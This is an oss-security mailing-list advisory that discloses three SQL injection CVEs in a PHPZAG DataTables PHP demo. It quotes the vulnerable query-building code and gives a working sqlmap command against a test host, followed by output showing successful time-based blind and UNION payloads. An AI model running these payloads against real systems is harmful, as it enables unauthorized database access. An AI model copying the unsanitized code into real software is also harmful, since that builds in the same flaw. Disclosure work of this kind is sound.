Date: Thu, 09 Jul 2020 09:27:13 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Security <oss-security@...ts.openwall.com>
Subject: SQL Injection in search field of phpzag live add edit delete data
 tables records with ajax php mysql

SQL Injection in search field of phpzag live add edit delete data tables records with ajax php mysql
Author: Larry W. Cashdollar, @_larry0
Date: 2020-05-19
CVE-ID:[CVE-2020-8519][CVE- 2020-8520][CVE- 2020-8521]
Download Site: https://www.phpzag.com/live-add-edit-delete-datatables-records-with-ajax-php-mysql/
Vendor: PHPZAG
Vendor Notified: 2020-05-19
Advisory: http://www.vapidlabs.com/advisory.php?v=213
Description: DataTables is a jQuery JavaScript library to convert simple HTML tables to dynamic feature-rich tables. The jQuery DataTables are very user friendly to list records with live add, edit, delete records without page refresh. Due to this, DataTables used widely in web applications to list records.

Vulnerability:
There is SQL injection in the search function in Records.php:

CVE-2020-8519 SQL injection in search parameter:

```
 20     if(!empty($_POST["search"]["value"])){
 21                     $sqlQuery .= 'where(id LIKE "%'.$_POST["search"]["value"].'%" ';
 22                     $sqlQuery .= ' OR name LIKE "%'.$_POST["search"]["value"].'%" ';
 23                     $sqlQuery .= ' OR designation LIKE "%'.$_POST["search"]["value"].'%" ';
 24                     $sqlQuery .= ' OR address LIKE "%'.$_POST["search"]["value"].'%" ';
 25                     $sqlQuery .= ' OR skills LIKE "%'.$_POST["search"]["value"].'%") ';
 26             }
 27
```

CVE-2020-8520 SQL Injection in line 29 with 'order' and 'column' parameter:

```
 28             if(!empty($_POST["order"])){
 29                     $sqlQuery .= 'ORDER BY '.$_POST['order']['0']['column'].' '.$_POST['order']['0']['dir'].' ';
 30             } else {
 31                     $sqlQuery .= 'ORDER BY id DESC ';
 32             }
```

CVE-2020-8521 SQL Injection line 35 with 'start' and 'length' parameters:

```
 34             if($_POST["length"] != -1){
 35                     $sqlQuery .= 'LIMIT ' . $_POST['start'] . ', ' . $_POST['length'];
 36             }
```

Exploit Code:

```
$ sqlmap -u "http://192.168.0.149/live-add-edit-delete-datatables-php-mysql-demo/ajax_action.php" --data "draw=153&columns[0][data]=0&columns[0][name]=&columns[0]
[searchable]=true&columns[0][orderable]=false&columns[0][search][value]=&columns[0][search][regex]=false&columns[1][data]=1&columns[1][name]=&columns[1][searchable]=true&columns[1]
[orderable]=true&columns[1][search][value]=&columns[1][search][regex]=false&columns[2][data]=2&columns[2][name]=&columns[2][searchable]=true&columns[2][orderable]=true&columns[2][search]
[value]=&columns[2][search][regex]=false&columns[3][data]=3&columns[3][name]=&columns[3][searchable]=true&columns[3][orderable]=true&columns[3][search][value]=&columns[3][search]
[regex]=false&columns[4][data]=4&columns[4][name]=&columns[4][searchable]=true&columns[4][orderable]=true&columns[4][search][value]=&columns[4][search][regex]=false&columns[5]
[data]=5&columns[5][name]=&columns[5][searchable]=true&columns[5][orderable]=true&columns[5][search][value]=&columns[
 5][search][regex]=false&columns[6][data]=6&columns[6][name]=&columns[6][searchable]=true&columns[6][orderable]=false&columns[6][search][value]=&columns[6][search][regex]=false&columns[7]
[data]=7&columns[7][name]=&columns[7][searchable]=true&columns[7][orderable]=false&columns[7][search][value]=&columns[7][search][regex]=false&order[0][column]=3&order[0]
[dir]=asc&start=0&length=10&search[value]="+and+"1&search[regex]=false&action=listRecords" -p "search[value]" --method POST --dbms=mysql --level 2 --risk 2
.
.
[10:39:53] [INFO] POST parameter 'search[value]' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (2) values? [Y/n] y
[10:40:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:40:00] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[10:40:00] [INFO] target URL appears to be UNION injectable with 6 columns
[10:40:00] [INFO] POST parameter 'search[value]' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'search[value]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 203 HTTP(s) requests:
---
Parameter: search[value] (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: draw=153&columns[0][data]=0&columns[0][name]=&columns[0][searchable]=true&columns[0][orderable]=false&columns[0][search][value]=&columns[0][search][regex]=false&columns[1]
[data]=1&columns[1][name]=&columns[1][searchable]=true&columns[1][orderable]=true&columns[1][search][value]=&columns[1][search][regex]=false&columns[2][data]=2&columns[2][name]=&columns[2]
[searchable]=true&columns[2][orderable]=true&columns[2][search][value]=&columns[2][search][regex]=false&columns[3][data]=3&columns[3][name]=&columns[3][searchable]=true&columns[3]
[orderable]=true&columns[3][search][value]=&columns[3][search][regex]=false&columns[4][data]=4&columns[4][name]=&columns[4][searchable]=true&columns[4][orderable]=true&columns[4][search]
[value]=&columns[4][search][regex]=false&columns[5][data]=5&columns[5][name]=&columns[5][searchable]=true&columns[5][orderable]=true&columns[5][search][value]=&columns[5][search]
[regex]=false&columns[6][data]=6&columns[6][name]=&columns[6][searchable]=true&colu
 mns[6][orderable]=false&columns[6][search][value]=&columns[6][search][regex]=false&columns[7][data]=7&columns[7][name]=&columns[7][searchable]=true&columns[7][orderable]=false&columns[7]
[search][value]=&columns[7][search][regex]=false&order[0][column]=3&order[0][dir]=asc&start=0&length=10&search[value]= and 1") AND (SELECT * FROM (SELECT(SLEEP(5)))KGDc) AND
("Aejs"="Aejs&search[regex]=false&action=listRecords

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: draw=153&columns[0][data]=0&columns[0][name]=&columns[0][searchable]=true&columns[0][orderable]=false&columns[0][search][value]=&columns[0][search][regex]=false&columns[1]
[data]=1&columns[1][name]=&columns[1][searchable]=true&columns[1][orderable]=true&columns[1][search][value]=&columns[1][search][regex]=false&columns[2][data]=2&columns[2][name]=&columns[2]
[searchable]=true&columns[2][orderable]=true&columns[2][search][value]=&columns[2][search][regex]=false&columns[3][data]=3&columns[3][name]=&columns[3][searchable]=true&columns[3]
[orderable]=true&columns[3][search][value]=&columns[3][search][regex]=false&columns[4][data]=4&columns[4][name]=&columns[4][searchable]=true&columns[4][orderable]=true&columns[4][search]
[value]=&columns[4][search][regex]=false&columns[5][data]=5&columns[5][name]=&columns[5][searchable]=true&columns[5][orderable]=true&columns[5][search][value]=&columns[5][search]
[regex]=false&columns[6][data]=6&columns[6][name]=&columns[6][searchable]=true&colu
 mns[6][orderable]=false&columns[6][search][value]=&columns[6][search][regex]=false&columns[7][data]=7&columns[7][name]=&columns[7][searchable]=true&columns[7][orderable]=false&columns[7]
[search][value]=&columns[7][search][regex]=false&order[0][column]=3&order[0][dir]=asc&start=0&length=10&search[value]= and 1") UNION ALL SELECT
NULL,NULL,NULL,NULL,CONCAT(0x7162717671,0x5a6b657a4552635574787974697469434e4f506b596f4e5a585668496b6e7464796e6a6f6a596e656b4e,0x717a767171),NULL-- SkNj&search[regex]=false&action=listRecords
---
[10:40:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
```